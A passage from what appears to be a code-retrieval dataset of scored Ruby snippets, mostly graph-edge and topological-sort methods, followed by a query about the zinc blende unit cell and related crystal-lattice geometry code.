"docid": "793ef491aaa82233d75cf0afcac9f75f",
"score": "0.5140624",
"text": "def get_edges\n getEdges.iterator.to_route(:graph => self, :element_type => :edge)\n end",
"title": ""
},
{
"docid": "29ea8df42635b08f8f7cb67af42103e7",
"score": "0.5136149",
"text": "def graph\n nodes = vertices.each_with_object([]) do |code, ary|\n ary << Node.new(code)\n end\n\n shipping_legs.each do |leg|\n origin_code, destination_code = leg.split(/\\s/)\n origin = nodes.detect { |n| n.code == origin_code }\n destination = nodes.detect { |n| n.code == destination_code }\n\n # All legs are bidirectional.\n origin.add_connection destination\n destination.add_connection origin\n end\n\n nodes\n end",
"title": ""
},
{
"docid": "8013b176017ee86ad35adf77d3f270b3",
"score": "0.51343113",
"text": "def vertices\r\n fail_if_invalid()\r\n edge1 = @edgeuses[0].edge\r\n edge2 = @edgeuses[2].edge\r\n v1 = edge1.vertices\r\n v2 = edge2.vertices\r\n v1.reverse! if edge1.reversed_in?( self )\r\n v2.reverse! if edge2.reversed_in?( self )\r\n v1 + v2.reverse\r\n end",
"title": ""
},
{
"docid": "762cb6e2e98bedc3a9d074e609904609",
"score": "0.51296973",
"text": "def control_edges\n EdgeSet.new(edges.select(&:control?))\n end",
"title": ""
},
{
"docid": "a6095ef8fc39016b03cb47ce892a188a",
"score": "0.51279914",
"text": "def topological_sort(vertices)\n order = []\n count = 0\n until vertices.empty?\n break if count > 100\n count += 1\n vertices.each do |vert|\n if vert.in_edges.empty?\n vert.out_edges.each do |edge|\n edge.destroy!\n end\n vert.out_edges.each do |edge|\n edge.destroy!\n end\n p vert.out_edges\n vertices.delete(vert)\n order << vert.value\n end\n end\n end\n return [] if count > 100\n order\nend",
"title": ""
},
{
"docid": "7563ef5411dece6b8b9f1fa5bd14a14a",
"score": "0.51208955",
"text": "def atomic_graphs\n edges = self.edge_array\n uniq_dgs = edges.map {|edge| MyDG[*edge] }\n uniq_dgs\n end",
"title": ""
},
{
"docid": "e3eb3d97857e51e95780f878e9d4a860",
"score": "0.51141346",
"text": "def edges\n edges_array = []\n vertices.each do |vertex|\n adj_table[vertex.id].each do |node|\n edges_array << _create_edge(vertex.id, node.vertex.id, weight: node.weight)\n end\n end\n edges_array\n end",
"title": ""
},
{
"docid": "01af0254837244d0fe8ec5c5a3ad21bc",
"score": "0.5108171",
"text": "def edges\n node_maps.reject(&:marked_for_destruction?).select do |i|\n i.node && i.parent\n end.collect do |i|\n {\n source: i.parent.node.id,\n target: i.node.id\n }\n end.uniq\n end",
"title": ""
},
{
"docid": "5a36547dc5ff56eb81b0921923ca4dd8",
"score": "0.51056325",
"text": "def each\n while true\n LOGGER.debug(\"Dijkstra find optimal paths\\n#{self}\")\n break if not find_next_optimal_path\n # Read the paths off the backtrace pointers.\n each_path_from_backtrace { |cost, path| yield [cost, path] }\n # Prepare the costs and backtrace structures for the next iteration.\n @remove_edges.each do |from, to|\n LOGGER.debug(\"Remove edge \" +\n \"#{from} --#{@graph.weight(from, to)}--> #{to}\")\n # Remove the last branching edges from the graph.\n @graph.remove_edge(from, to)\n LOGGER.debug(\"New graph\\n#{@graph}\")\n # Put nodes from removed edges back on the agenda and reset the\n # priority of the later node.\n @agenda << from\n @agenda << to\n LOGGER.debug(\"Rollback agenda to #{@agenda}\")\n @cost[to] = @backtrace.optimal_cost(to)\n LOGGER.debug(\"Rollback cost to #{@cost}\")\n end\n end # while true\n end",
"title": ""
},
{
"docid": "e5f95422b0a82c1eb05449c7b2d4fbd7",
"score": "0.5104651",
"text": "def atomic_graphs\n edges = self.edge_array\n uniq_dgs = edges.map {|edge| self.class[*edge] }\n uniq_dgs\n end",
"title": ""
},
{
"docid": "85a521ccf693bb25a223289455749e00",
"score": "0.51013356",
"text": "def list_edges\n\n edge_set = [].to_set\n @graph.each {|label, vertex| vertex.edges.each_key {|destination| edge_set.add(\"#{label}-#{destination}\")}}\n return edge_set\n\n end",
"title": ""
},
{
"docid": "c75f3f0f37925cc6a4397fe894dcda6a",
"score": "0.5100982",
"text": "def topological_sort(vertices)\n sorted = []\n top = []\n\n # sorted = vertices.select{ |v| v.in_edges.empty? }\n\n vertices.each do | v |\n if v.in_edges.empty?\n top.push(v)\n end\n end\n\n\n until top.empty?\n current = top.pop\n sorted << current\n arr = current.out_edges.dup\n arr.each do | e |\n v = e.to_vertex\n e.destroy!\n if v.in_edges.empty?\n top.push(v)\n end\n\n end\n end\n \n sorted.length == vertices.length ? sorted : []\nend",
"title": ""
},
{
"docid": "62f7ebd6d4d3de971e74e0a066d1e33c",
"score": "0.509857",
"text": "def decision_edges(eye=@k, &block)\n base_n_k(\"decedges_yaml\",eye, &block)\n end",
"title": ""
},
{
"docid": "5a2785e0af0e586911789be2f0adfdc2",
"score": "0.5095245",
"text": "def sort_edges\n @edges.sort! do |x, y|\n if x.weight > y.weight\n 1\n elsif x.weight < y.weight\n -1\n else\n 0\n end\n end\n end",
"title": ""
},
{
"docid": "416e3fe8787ccc4582b4ce588a0696da",
"score": "0.50731194",
"text": "def edges\n 0\n end",
"title": ""
},
{
"docid": "c57dc491ea02d24c9707798c1442ce9d",
"score": "0.5062188",
"text": "def topological_sort(vertices)\n return [] if vertices.all? {|vertex| vertex.out_edges.length > 0 }\n \n top = []\n queue = []\n \n vertices.each do |vertex|\n # puts \"vertex value: #{vertex.value}\"\n if vertex.in_edges.empty?\n # puts \"vertex with no in_edges: #{vertex.value}\"\n queue << vertex \n \n end\n end\n\n # debugger\n until queue.empty?\n u = queue.shift\n u.out_edges.each do |out_edge|\n to_vertex = out_edge.to_vertex\n to_vertex.in_edges.delete(out_edge)\n queue << to_vertex if to_vertex.in_edges.empty?\n end\n \n top << u\n end\n\n top\nend",
"title": ""
},
{
"docid": "c1c2702f1539f462bf28dbeb5effe1d2",
"score": "0.50594854",
"text": "def edges\n end",
"title": ""
},
{
"docid": "c1c2702f1539f462bf28dbeb5effe1d2",
"score": "0.50594854",
"text": "def edges\n end",
"title": ""
},
{
"docid": "c1c2702f1539f462bf28dbeb5effe1d2",
"score": "0.50594854",
"text": "def edges\n end",
"title": ""
},
{
"docid": "c1c2702f1539f462bf28dbeb5effe1d2",
"score": "0.50594854",
"text": "def edges\n end",
"title": ""
},
{
"docid": "c1c2702f1539f462bf28dbeb5effe1d2",
"score": "0.50594854",
"text": "def edges\n end",
"title": ""
},
{
"docid": "d85599c18eafa47fe13a54103ad13b42",
"score": "0.50592417",
"text": "def edges\n undirected_edges.map(&:to_a)\n end",
"title": ""
},
{
"docid": "41d127560bd0437090d05bc147898508",
"score": "0.50561184",
"text": "def edges\n result = []\n\n @vertices.each do |from|\n @vertices.each do |to|\n from_index, to_index = indices_of(from, to)\n next if @matrix[from_index, to_index] == false\n\n result << [ from_index, to_index ]\n end\n end\n\n result\n end",
"title": ""
},
{
"docid": "40d6c13d0739d7d8e7a679b969420be5",
"score": "0.50508195",
"text": "def normalize\n\n @edges.sort!{|x,y|\n _,dest1 = x\n _,dest2 = y\n dest1.id <=> dest2.id\n }\n\n new_edges = []\n prev_label, prev_dest = nil,nil\n\n edges.each do |label,dest|\n if prev_dest and prev_dest.id == dest.id\n prev_label.addSet(label)\n else\n if prev_dest\n new_edges.push([prev_label,prev_dest])\n end\n # Must start a fresh copy! Don't want to modify the original label.\n prev_label = label.makeCopy()\n prev_dest = dest\n end\n end\n\n if prev_dest\n new_edges.push([prev_label,prev_dest])\n end\n\n @edges = new_edges\n end",
"title": ""
},
{
"docid": "535a8843f8bcabfb8fb887069c84aefd",
"score": "0.50502264",
"text": "def currently_unused_smart_prepare_steps\n\t\t@vertices.each{|vert|\n\t\t\tnext if vert.attached_nets.empty?\n\t\t\tvert.attached_nets.each{|s|\n\t\t\t\ts.g = -1\n\t\t\t\t#a = Math.atan2(s.next.y - s.vertex.y, s.next.x - s.vertex.x) # basic angle\n\t\t\t\t#b = Math.atan2(s.prev.y - s.vertex.y, s.prev.x - s.vertex.x)\n\t\t\t\ta = atan2_tangents(s.vertex, s.next, s.id) # -PI <= angle <= PI\n\t\t\t\tb = atan2_tangents(s.prev, s.vertex, s.id) # wrong direction, we have to flip\n\t\t\t\tb < 0 ? b += Math::PI : b -= Math::PI\n\t\t\t\td = (a - b).abs\n\t\t\t\tdir = (a + b) * 0.5\n\t\t\t\tif d > Math::PI # select inner angle < PI -- and flip direction\n\t\t\t\t\td = 2 * Math::PI - d\n\t\t\t\t\tdir < 0 ? dir += Math::PI : dir -= Math::PI\n\t\t\t\tend\n\t\t\t\ts.d = d * 0.5\n\t\t\t\ts.dir = dir\n\t\t\t}\n\t\t\tnets = vert.attached_nets.sort_by{|s| s.dir}\n\t\t\ti = nets.length\n\t\t\tlast = nets[0]\n\t\t\tlast.dir += 2 * Math::PI\n\t\t\tlast.g = group = 0\n\t\t\twhile (i -= 1) > 0 do # backward while in group 0, start with largest angle\n\t\t\t\tnxt = nets[i]\n\t\t\t\tbreak if nxt.dir + nxt.d < last.dir - last.d\n\t\t\t\tnxt.g = 0\n\t\t\t\tlast = nxt\n\t\t\tend\n\t\t\ti = 0\n\t\t\tlast = nets[0]\n\t\t\tlast.dir -= 2 * Math::PI # undo above fix\n\t\t\twhile (i += 1) < nets.length do # forward\n\t\t\t\tnxt = nets[i]\n\t\t\t\tbreak if nxt.g == 0\n\t\t\t\tif nxt.dir - nxt.d > last.dir + last.d\n\t\t\t\t\tgroup += 1\n\t\t\t\tend\n\t\t\t\tnxt.g = group\n\t\t\t\tlast = nxt\n\t\t\tend\n\t\t\tgroup = 0\n\t\t\tloop do\n\t\t\t\tvert.reset_initial_size\n\t\t\t\tgroup_found = false\n\t\t\t\tvert.attached_nets.each{|step|\n\t\t\t\t\tif step.g == group\n\t\t\t\t\t\tgroup_found = true\n\t\t\t\t\t\tnet = step.net_desc\n\t\t\t\t\t\ttrace_sep = [vert.separation, net.trace_clearance].max\n\t\t\t\t\t\tvert.radius += trace_sep + net.trace_width\n\t\t\t\t\t\tstep.radius = vert.radius - net.trace_width * 0.5\n\t\t\t\t\t\tvert.separation = net.trace_clearance\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t\tbreak unless group_found\n\t\t\t\tgroup += 1\n\t\t\tend\n\t\t}\n\tend",
"title": ""
},
{
"docid": "ea2cc577b4baecd3aee52ad437221dbc",
"score": "0.50494903",
"text": "def each_oriented_node\n @internal_array.each do |e|\n if e.kind_of?(Bio::AssemblyGraphAlgorithms::BubblyAssembler::Bubble)\n e.oriented_nodes.each do |onode|\n yield onode\n end\n else\n yield e\n end\n end\n end",
"title": ""
},
{
"docid": "db3e1f409237544c73b87436d8516379",
"score": "0.5046283",
"text": "def calc_costs\n start_vertex, end_vertex = @vertices.first, @vertices.last\n \n @vertices.each do |vertex|\n best_cost = nil\n best_prev = nil\n best_edge_type = nil\n\n vertex.in_edges.each do |in_edge|\n prev_vertex = in_edge.out_vertex\n prev_cost = prev_vertex.value[:cost]\n\n next if prev_cost.nil?\n\n current_cost = prev_cost + in_edge.value\n\n if best_cost.nil? || current_cost < best_cost\n best_cost = current_cost\n best_prev = prev_vertex\n best_edge_type = in_edge.type\n end\n end\n \n if vertex.value[:pos] != 0\n vertex.value[:cost] = best_cost\n vertex.value[:prev] = best_prev\n vertex.value[:edge] = best_edge_type\n end\n end\n\n nil\n end",
"title": ""
},
{
"docid": "89a8ed95c18660dc271fa0fbe514bbfc",
"score": "0.50397414",
"text": "def post_processing!(edges)\n # 'and' coordination\n edges.reject!{|e| e[:text] == 'and'}\n end",
"title": ""
},
{
"docid": "e487d0e8a7d3d3e170ed139ea7a14f5d",
"score": "0.50271004",
"text": "def uncalculated\n @graph.tsort { |e| e.get(:type) != :overflow }.map do |node|\n [ node.calculator, *node.out_edges.map(&:calculator).to_a ]\n end.flatten.reject(&:calculated?).reverse\n end",
"title": ""
},
{
"docid": "a8d8655d146b78990d2d710ae85eba4f",
"score": "0.50254995",
"text": "def remove_edge(e)\n self.Edges_Array.each do |edge|\n if (e==edge.label)\n self.Edges_Array.delete(edge)\n self.Vertices_Array.each do |vertex|\n if(edge.v==vertex.label)\n vertex.degree=vertex.degree-1\n end\n if(edge.w==vertex.label)\n vertex.degree=vertex.degree-1\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "22d2b0eda3b530dd59496446e15ed58e",
"score": "0.5021749",
"text": "def incident_edges(v)\n message = \" \"\n self.Vertices_Array.each do |vertex|\n self.Edges_Array.each do |edge|\n if (v==vertex.label)\n if (vertex.label==edge.v)\n print \"#{edge.label},\"\n message = message + \"#{edge.label}, \"\n end\n end\n end\n self.Edges_Array.each do |edge|\n if (v==vertex.label)\n if (vertex.label==edge.w)\n print \"#{edge.label},\"\n message = message + \"#{edge.label}, \"\n end\n end\n end\n end\n return message\n end",
"title": ""
},
{
"docid": "80f9f2aa64ae5cb935f5c28ec076dde4",
"score": "0.5012617",
"text": "def diagrammatical_output\n diagram = \"digraph leaves_diagram {\\n\"\n Gem::Specification.all.each do |g|\n if @options[:reverse]\n g.dependent_gems.each {|d| diagram << %Q( \"#{d[0].full_name}\" -> \"#{g.full_name}\"\\n)}\n else\n g.dependent_gems.each {|d| diagram << %Q( \"#{g.full_name}\" -> \"#{d[0].full_name}\"\\n)}\n end\n if g.dependent_gems.empty?\n str = %Q( \"#{g.full_name}\")\n if @leaves.include?(g)\n str += %Q( [color=\"##{@options[:color]}\", style=filled]\\n)\n else\n str += \"\\n\"\n end\n diagram << str\n end\n end\n diagram << \"}\"\n puts diagram\n end",
"title": ""
},
{
"docid": "27008a89555003a00c347b6ed0f81169",
"score": "0.50067633",
"text": "def edges(&block)\n return to_enum(__callee__) unless block_given?\n\n children do |v|\n yield self, v\n v.edges(&block)\n end\n end",
"title": ""
},
{
"docid": "442b6ede64a28a97ba82638999f57085",
"score": "0.4996325",
"text": "def break_cycles\n @graph.each_vertex do |c1|\n c1_neighbors = @graph.adjacent_vertices(c1)\n c1_neighbors.each do |c2|\n next if !@graph.has_edge?(c2, c1)\n\n c1_out = @graph.adjacent_vertices(c1).length\n c2_out = @graph.adjacent_vertices(c2).length\n if c1_out <= c2_out\n @graph.remove_edge(c1, c2)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "46ab4f99f7f37d0eb82aff5d40b59c7d",
"score": "0.49958667",
"text": "def to_dot\n accum = []\n accum << \"digraph G {\"\n self.edges.each do |edge|\n accum << \" #{edge.from.label} -> #{edge.to.label};\\n\"\n end\n accum << \"}\"\n accum.join\n end",
"title": ""
},
{
"docid": "663f5e4e41dff4da3c8c17b83bf7ccda",
"score": "0.49886927",
"text": "def output_individual_files_for_all_edges()\n # Build a list of all ids and filenames (with duplicates if port & protocol are the same but the nodes different)\n uniq_properties_uids = @edges.map { |_k, e| [e.properties_uid, e.port_and_proto_file_name] }.uniq\n # Create files for each unique port/proto combo\n uniq_properties_uids.each { |x| output_files_for_individual_edge_type(x[0], x[1]) }\n end",
"title": ""
},
{
"docid": "a0b6e11c993d22875f45d0b024911267",
"score": "0.49881148",
"text": "def add_edges(components)\n components.each do |component|\n component.dependencies.each do |dependency|\n add_edge(component, dependency)\n end\n end\n end",
"title": ""
},
{
"docid": "1934e3969d1c0767d44275718474b30f",
"score": "0.4987976",
"text": "def topological_sort(vertices)\n results = []\n queue = vertices.select {|v| v.in_edges.empty? }\n\n # debugger\n until queue.empty?\n vert = queue.shift\n\n has_edge = false\n vert.out_edges.each do |edge|\n has_edge = true\n to_vert = edge.to_vertex\n to_vert.in_edges.delete(edge)\n queue.push(to_vert) if to_vert.in_edges.empty?\n end\n\n\n if !results.include?(vert)\n results.push(vert)\n else\n return []\n end\n end\n results \nend",
"title": ""
},
{
"docid": "2f21c6fa53c84a15b2e6b69585134b8e",
"score": "0.49777198",
"text": "def remove_edges!(*a) a.each { |e| remove_edges! e }; end",
"title": ""
},
{
"docid": "9b9d9cb21435b93353e170b01ccb4bbd",
"score": "0.49728376",
"text": "def edges\n result = []\n c = edge_class\n each_edge { |u,v| result << c.new(u,v,@terms) }\n result\n end",
"title": ""
},
{
"docid": "bb2019c69ca8f16128957ee044acba7e",
"score": "0.4964808",
"text": "def build_edges!\n all_nodes = [@run_start_node] + @nodes + [@run_end_node]\n\n # The very last node will not have 'children_edges' included, but that's okay because\n # it has none (it's the run_end_node).\n @edges = all_nodes.each_cons(2).flat_map do |n1, n2|\n n1.connect_to(n2) + n1.children_edges\n end\n end",
"title": ""
},
{
"docid": "44526d6b6488b1b68d747ae20c402aaa",
"score": "0.49620122",
"text": "def edges\n result = []\n c = edge_class\n each_edge { |u,v| result << c.new(u, v, self) }\n result\n end",
"title": ""
},
{
"docid": "ca4a78cf5d8ca68eb30f88b1151ecd3f",
"score": "0.49599874",
"text": "def prune\n this = self\n @edge.each_pair do |rel, edges|\n inv = @inverse_relation[rel]\n edges.each_value do |other|\n other.instance_eval do\n @edge[inv].delete this.path\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f70bef327dad3ab1fd126d30f0a1461f",
"score": "0.49514884",
"text": "def each_path_from_backtrace\n @remove_edges = []\n # Do a depth-first enumeration through the backtrace tree finding\n # optimal cost paths.\n paths = [[@target]]\n until paths.empty?\n path = paths.pop\n node = path.first\n optimal_costs = @backtrace[node].keys\n optimal_cost = optimal_costs.min\n LOGGER.debug(\"Read off paths to #{node} of cost #{optimal_cost}\")\n # Remove the edges between the previous node and this one if this is\n # the first optimal path branch.\n remove = @remove_edges.empty? and optimal_costs.length > 1\n @backtrace[path.first][optimal_cost].each do |prev_node|\n # Remove first optimal path branch edges or, if there are no\n # branches, edges coming from the source to the optimal path.\n if remove or (@remove_edges.empty? and\n prev_node == @source)\n @remove_edges << [prev_node, node]\n end\n # Add the previous node to the head of the path.\n new_path = [prev_node] + path\n if prev_node == @source\n # Yield the complete path.\n LOGGER.debug(\"Found path #{new_path.inspect}\")\n yield [optimal_cost, new_path]\n else\n # Put an incomplete path back on the agenda.\n paths << new_path\n end\n end # each prev_node\n @backtrace.delete_optimal_paths(path.first)\n end # while paths\n end",
"title": ""
},
{
"docid": "af742e66c9f0bab40b16e246885473f0",
"score": "0.4949324",
"text": "def bidirectional_relationships\n bidirectional = Set.new\n @graph.each_vertex do |c1|\n c1_neighbors = @graph.adjacent_vertices(c1)\n c1_neighbors.each do |c2|\n next if !@graph.has_edge?(c2, c1)\n\n # Compute number of overlapping descendants\n c2_neighbors = @graph.adjacent_vertices(c2)\n n_c1 = c1_neighbors.length - 1 # remove c2\n n_c2 = c2_neighbors.length - 1 # remove c1\n n_total = (c1_neighbors & c2_neighbors).length\n\n if n_c1 == n_c2 && n_c2 == n_total\n pair_name = [c1, c2].sort\n bidirectional << pair_name\n else\n puts \"#{c1} <-> #{c2} but not perfectly\"\n end\n end\n end\n\n bidirectional.to_a\n end",
"title": ""
}
] |
a553c1f1b350cb7a00c818ade39e9b12
|
Return the traditional unit cell of bulk zinc blende
|
[
{
"docid": "bf5a7e8e311369f841ca0c30e6ea70e6",
"score": "0.61455315",
"text": "def get_bulk\n b = 0.25*self.lattice_const\n a1 = Atom.new(0, 0, 0, self.cation)\n a2 = Atom.new(b, b, b, self.anion)\n \n v1 = Vector[0.5, 0.5, 0.0]*self.lattice_const\n v2 = Vector[0.5, 0.0, 0.5]*self.lattice_const\n v3 = Vector[0.0, 0.5, 0.5]*self.lattice_const\n zb = Geometry.new([a1, a2], [v1, v2, v3])\n \n millerx = [1, 0, 0]\n millery = [0, 1, 0]\n millerz = [0, 0, 1]\n \n zb.set_miller_indices(millerx, millery, millerz)\n \n return zb\n end",
"title": ""
}
] |
[
{
"docid": "7dbe12a212d9999c4d52f742cf06226f",
"score": "0.6349032",
"text": "def current_unit_cell\n self.unit_cell\n end",
"title": ""
},
{
"docid": "c2ceab72dce4fe1c748f345726e0de5e",
"score": "0.6047429",
"text": "def get_001_surface(monolayers, vacuum, constrain_layers = 0)\n anion = Atom.new(0,0,0,self.cation)\n cation = Atom.new(0.25*self.lattice_const, 0.25*self.lattice_const, 0.25*self.lattice_const, self.anion)\n v1 = Vector[0.5, 0.5, 0]*self.lattice_const\n v2 = Vector[-0.5,0.5,0]*self.lattice_const\n v3 = Vector[0.5, 0, 0.5]*self.lattice_const\n \n zb = Geometry.new([anion, cation], [v1,v2,v3])\n millerX = [1,0,0]\n millerY = [0,1,0]\n millerZ = [0,0,1]\n zb.set_miller_indices(millerX, millerY, millerZ)\n \n # Repeat the unit cell. The unit cell is a bi-layer so divide by 2\n zb = zb.repeat(1,1,(monolayers/2).ceil)\n\n if 0 < vacuum\n # Add vacuum\n monolayerSep = v3[2]/2\n zb.lattice_vectors[2] = Vector[0, 0, (monolayers-1)*monolayerSep.abs + vacuum.to_f]\n # Move everything into a nice tidy unit cell. \n zb = zb.correct\n end\n\n minZ = zb.atoms.min{|a,b| a.z <=> b.z}.z\n \n # Reject the top layer of atoms if an odd number of monolayers was requested.\n # This is necessary because the primitive cell is a bilayer\n zb.atoms.reject! {|a| \n a.z >= (minZ + monolayerSep.abs*monolayers)\n }\n \n # Constrain the bottom layers\n zb.atoms.each{|a|\n if (a.z < minZ + monolayerSep.abs*constrain_layers)\n a.constrain = \".true.\"\n end\n }\n \n # Return the completed unit cell\n return zb\n end",
"title": ""
},
{
"docid": "25bd2c56b92421521b0e1b6f5f4d8ee7",
"score": "0.5988084",
"text": "def to_celcius\n\t\t(@temp - 32) * 1.8\n\tend",
"title": ""
},
{
"docid": "c9b5f2b9e9538474ee9683823ac9bbfa",
"score": "0.59346235",
"text": "def get_110_surface(monolayers, vacuum=0, constrain_layers = 0)\n\n # The atoms on a FCC \n atom1 = Atom.new(0,0,0,self.cation)\n atom2 = Atom.new(self.lattice_const*1/(2*sqrt(2)), self.lattice_const*0.25, 0.0, self.anion)\n\n # The lattice Vectors\n v1 = Vector[1/sqrt(2), 0.0, 0.0]*self.lattice_const\n v2 = Vector[0.0, 1.0, 0.0]*self.lattice_const\n v3 = Vector[1/(2*sqrt(2)), -0.5, 1/(2*sqrt(2))]*self.lattice_const\n\n # The miller indices for each primitive cartesian direction\n millerX = Vector[1, -1, 0]\n millerY = Vector[0, 0, 1]\n millerZ = Vector[1, 1, 0]\n\n # The unit cell\n zb = Geometry.new([atom1, atom2], [v1, v2, v3])\n zb.set_miller_indices(millerX, millerY, millerZ)\n\n # Repeat the unit cell\n zb = zb.repeat(1,1,monolayers)\n\n\n monolayerSep = v3[2]\n if 0 < vacuum\n # Add vacuum\n zb.lattice_vectors[2] = Vector[0, 0, (monolayers-1)*monolayerSep.abs + vacuum.to_f]\n # Move everything into a nice tidy unit cell. \n zb = zb.correct\n end\n\n # # Constrain the bottom layers\n zb.atoms.each{|a|\n if (a.z < monolayerSep*constrain_layers)\n a.constrain = \".true.\"\n end\n }\n\n \n # Return the completed unit cell\n return zb\n end",
"title": ""
},
{
"docid": "226509820b82f6184781ae71526ef518",
"score": "0.5751835",
"text": "def normal\n\t\t\tcase getCoreCell.state\n\t\t\t\t\twhen :bridge\n\t\t\t\t\t\tnormalAsset = @cellAssets.cellAsset(:empty)\n\t\t\t\t\t\tcase getCoreCell.type\n\t\t\t\t\t\t\twhen :empty\n\t\t\t\t\t\t\t\tnormalAsset = @cellAssets.cellAsset(:empty)\n\t\t\t\t\t\t\twhen :simple\n\t\t\t\t\t\t\t\tif(getCoreCell.direction == :vertical)\n\t\t\t\t\t\t\t\t\tif(getCoreCell.isAlterable?)\n\t\t\t\t\t\t\t\t\t\tnormalAsset = @cellAssets.cellAsset(:bridge)[:vertical][:simple]\n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\tnormalAsset = @cellAssets.cellAsset(:bridge)[:vertical][:simple_freeze]\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tif(getCoreCell.isAlterable?)\n\t\t\t\t\t\t\t\t\t\tnormalAsset = @cellAssets.cellAsset(:bridge)[:horizontal][:simple]\n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\tnormalAsset = @cellAssets.cellAsset(:bridge)[:horizontal][:simple_freeze]\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twhen :double\n\t\t\t\t\t\t\t\tif(getCoreCell.direction == :vertical)\n\t\t\t\t\t\t\t\t\tif(getCoreCell.isAlterable?)\n\t\t\t\t\t\t\t\t\t\tnormalAsset = @cellAssets.cellAsset(:bridge)[:vertical][:double]\n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\tnormalAsset = @cellAssets.cellAsset(:bridge)[:vertical][:double_freeze]\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\tif(getCoreCell.isAlterable?)\n\t\t\t\t\t\t\t\t\t\tnormalAsset = @cellAssets.cellAsset(:bridge)[:horizontal][:double]\n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\tnormalAsset = @cellAssets.cellAsset(:bridge)[:horizontal][:double_freeze]\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\twhen :isle\n\t\t\t\t\t\t\tnormalAsset = @cellAssets.cellAsset(:isle)\n\t\t\t\t\t\t\tif @gridUI.game.isleCellCompleted?(@x,@y) == true\n\t\t\t\t\t\t\t\t@cellAssets.cellAsset(:isleFull).applyOn(@imageFinish)\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t@cellAssets.cellAsset(:transparent).applyOn(@imageFinish)\n\t\t\t\t\t\t\tend\n\t\t\t\t\twhen :obstacle\n\t\t\t\t\t\t\tnormalAsset = @cellAssets.cellAsset(:empty)\n\t\t\t\tend\n\t\t\t\tapplyAsset(normalAsset)\n\tend",
"title": ""
},
{
"docid": "f025e42d8905b2e798cd4be8fe3d7cd1",
"score": "0.57398987",
"text": "def unit\n data.unit\n end",
"title": ""
},
{
"docid": "288ceaa8a5ff545f491754dc3372939a",
"score": "0.56694365",
"text": "def get_112_surface(monolayers, vacuum=0, constrain_layers = 0)\n atom1 = Atom.new(0,0,0,self.cation)\n atom2 = Atom.new(self.lattice_const*sqrt(3)/2, 0, 0, self.anion)\n \n v1 = Vector[sqrt(3), 0, 0]*self.lattice_const\n v2 = Vector[0, sqrt(2)/2, 0]*self.lattice_const\n v3 = Vector[1/sqrt(3), 1/(sqrt(3)*2), -1/(sqrt(3)*2)]*self.lattice_const\n \n millerX = Vector[1, 1, -2];\n millerY = Vector[-1, 1, 0];\n millerZ = Vector[-1, -1, -1]\n\n # The unit cell\n zb = Geometry.new([atom1, atom2], [v1, v2, v3])\n zb.set_miller_indices(millerX, millerY, millerZ)\n\n # Repeat the unit cell\n zb = zb.repeat(1,1,monolayers)\n\n\n if 0 < vacuum\n # Add vacuum\n monolayerSep = v3[2]\n zb.lattice_vectors[2] = Vector[0, 0, (monolayers*monolayerSep).abs + vacuum.to_f]\n # Move everything into a nice tidy unit cell. \n zb = zb.correct\n end\n\n # # Constrain the bottom 2 layers\n # zb.atoms.each{|a|\n # if (a.z < monolayerSep*2)\n # a.constrain = \".true.\"\n # end\n # }\n\n\n # Return the completed unit cell\n return zb\n end",
"title": ""
},
{
"docid": "84caeabfe1963a62c4fb139370ca2fb4",
"score": "0.56653523",
"text": "def total_cells_without_bombs() \n\t\t\ttotal_cells() - total_bombs()\n\t\tend",
"title": ""
},
{
"docid": "aa70b8cd2caa444a4e5d6e08f222fdc8",
"score": "0.5652137",
"text": "def rad2unit_vect; end",
"title": ""
},
{
"docid": "fe23928c1ab8066345f61bd0fa4460b1",
"score": "0.562152",
"text": "def unit_label\n @bulk_units.scalar == 1 ? @bulk_units.units : @bulk_units.to_s\n end",
"title": ""
},
{
"docid": "bb4e99cd731d0529ac4623daf28fc0b3",
"score": "0.5618842",
"text": "def geometry\n @calcViewer.unit_cell\n end",
"title": ""
},
{
"docid": "343a803d50d4f29af718388fcecc35e9",
"score": "0.55960274",
"text": "def normal\n unit.normal\n end",
"title": ""
},
{
"docid": "a5ab5fff5dbba56bbbb9c3e07cd02191",
"score": "0.55419874",
"text": "def unit\n fact = 1.0 / abs(false)\n V2.new(@x * fact, @y * fact)\n end",
"title": ""
},
{
"docid": "9e33ddf1721a75f962fe567a739358d6",
"score": "0.5533128",
"text": "def minor_units; end",
"title": ""
},
{
"docid": "9e33ddf1721a75f962fe567a739358d6",
"score": "0.5533128",
"text": "def minor_units; end",
"title": ""
},
{
"docid": "9e33ddf1721a75f962fe567a739358d6",
"score": "0.5533128",
"text": "def minor_units; end",
"title": ""
},
{
"docid": "9e33ddf1721a75f962fe567a739358d6",
"score": "0.5533128",
"text": "def minor_units; end",
"title": ""
},
{
"docid": "50efe12d01c905767f80e1198b2212fe",
"score": "0.5456493",
"text": "def required_cells op\n out_plate = op.output(OUTPUT).extend(CellCulture)\n mx = out_plate.max_cell_number\n mx * op.input(SEED).val / MAX_CONFLUENCY\n end",
"title": ""
},
{
"docid": "d948b7838abbb059eac68d10b3e2a679",
"score": "0.5435428",
"text": "def cell; end",
"title": ""
},
{
"docid": "d948b7838abbb059eac68d10b3e2a679",
"score": "0.5435428",
"text": "def cell; end",
"title": ""
},
{
"docid": "d948b7838abbb059eac68d10b3e2a679",
"score": "0.5435428",
"text": "def cell; end",
"title": ""
},
{
"docid": "748833c155e808678f62f7919536f9bb",
"score": "0.5379389",
"text": "def unit(n); end",
"title": ""
},
{
"docid": "a293e88c1e3cd730ffc5ff37f0b94452",
"score": "0.5371182",
"text": "def unit\n @units\n end",
"title": ""
},
{
"docid": "6f755b9696e2fe7c8e7a92aea90f94ce",
"score": "0.5351469",
"text": "def subunit_to_unit; end",
"title": ""
},
{
